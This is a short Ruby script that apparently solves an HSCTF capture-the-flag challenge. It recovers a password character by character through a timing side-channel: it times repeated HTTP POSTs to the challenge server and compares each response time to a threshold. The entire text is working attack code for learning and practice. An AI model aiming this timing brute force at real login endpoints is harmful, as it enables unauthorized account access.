require 'benchmark'
require 'http'
def http_post(prefix)
HTTP.post('
https://networked-password.web.chal.hsctf.com/',
form: { password: prefix })
end
def guess_good?(prefix)
time = Benchmark.realtime { http_post(prefix) }
puts "testing: #{prefix} (#{time})"
time > prefix.length * 0.5 + 0.3
end
CHARSET = 'etaoinshrdlucmwfgypbvkjxqz_ 0123456789!@#$%^&*[]+-=ETAOINSHRDLUCMWFGYPBVKJXQZ`~();:\\,./<>?'.chars
def guess_flag_char(prefix)
CHARSET.each do |char|
return char if guess_good?(prefix + char)
end
raise '>_>'
end
flag = 'hsctf{'
char = nil
until char == '}'
char = guess_flag_char(flag)
flag += char
end